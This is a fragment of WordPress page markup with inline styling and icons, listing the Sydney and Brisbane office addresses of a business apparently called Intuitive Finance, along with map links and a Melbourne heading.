<div class="wp-block-kadence-column kadence-column1263cf-43"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-headingf48795-b5, .wp-block-kadence-advancedheading.kt-adv-headingf48795-b5[data-kb-block="kb-adv-headingf48795-b5"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-headingf48795-b5 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf48795-b5[data-kb-block="kb-adv-headingf48795-b5"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingf48795-b5 wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf48795-b5">Visit Us</h3>


<style>.wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a, .wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a[data-kb-block="kb-adv-heading97cfab-3a"]{margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a[data-kb-block="kb-adv-heading97cfab-3a"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading97cfab-3a wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading97cfab-3a">Sydney</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items194f66-67 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-e00afd-43"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://www.google.com/maps/place/Intuitive+Finance/@-37.9423057,145.0136205,15z/data=!4m2!3m1!1s0x0:0x61ba69f85bdcce12?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111" data-type="link" data-id="https://www.google.com/maps/place/Intuitive+Finance/@-37.9423057,145.0136205,15z/data=!4m2!3m1!1s0x0:0x61ba69f85bdcce12?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111">65 Boundary St, Darlinghurst – NSW, 2010</a></span></li>
</ul></div>


<style>.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"]{margin-top:16px;margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingef6771-cb wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingef6771-cb">Brisbane</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items09ac66-c9 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-f69b16-ff"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://business.google.com/n/9847261145670698710/profile?authuser=1&amp;fid=7420700169130882476">20 Prospect Street, Fortitude Valley – QLD 4006</a></span></li>
</ul></div>


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<h3 class="kt-adv-headingcb82fc-82 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingcb82fc-82">Melbourne</h3>


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